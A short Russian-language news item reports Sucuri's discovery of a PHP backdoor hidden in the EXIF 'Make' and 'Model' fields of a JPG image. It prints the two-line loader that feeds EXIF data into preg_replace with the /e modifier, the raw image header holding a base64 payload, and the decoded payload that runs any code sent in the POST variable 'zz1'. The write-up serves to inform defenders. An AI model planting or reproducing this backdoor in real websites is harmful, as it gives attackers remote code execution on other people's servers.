Компания Sucuri обнаружила новый способ внедрения бэкдора на веб-сайт: код прячется в служебном поле EXIF изображения JPG. Это может быть или новое изображение, которое пользователям разрешено добавлять на сайт, например, в качестве своего аватара или другой фотографии на форуме. Или это может быть измененная версия оригинального изображения.

На взломанном сайте был обнаружен на первый взгляд нормальный PHP-код, содержащий две функции PHP. Первая функция служит для считывания служебных данных EXIF из файла JPG, а вторая функция запускает программу.

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

Как и следовало предполагать, вторую часть бэкдора нашли в файле bun.jpg.

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^

Заголовок Make содержит параметр "/.*/e". В PHP-функции preg_replace параметр /e используется для исполнения передаваемого ему кода. В то же время заголовок Model содержит непосредственно сам код.

Если расшифровать текст, закодированный в base64, то мы увидим следующее.

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

То есть бэкдор готов запустить на исполнение любой контент, полученный в POST-запросе через переменную zz1.

По мнению исследователей, это довольно необычный способ прятать исполняемый код на сайте. Эдакий взлом с элементами стеганографии.



Оставить мнение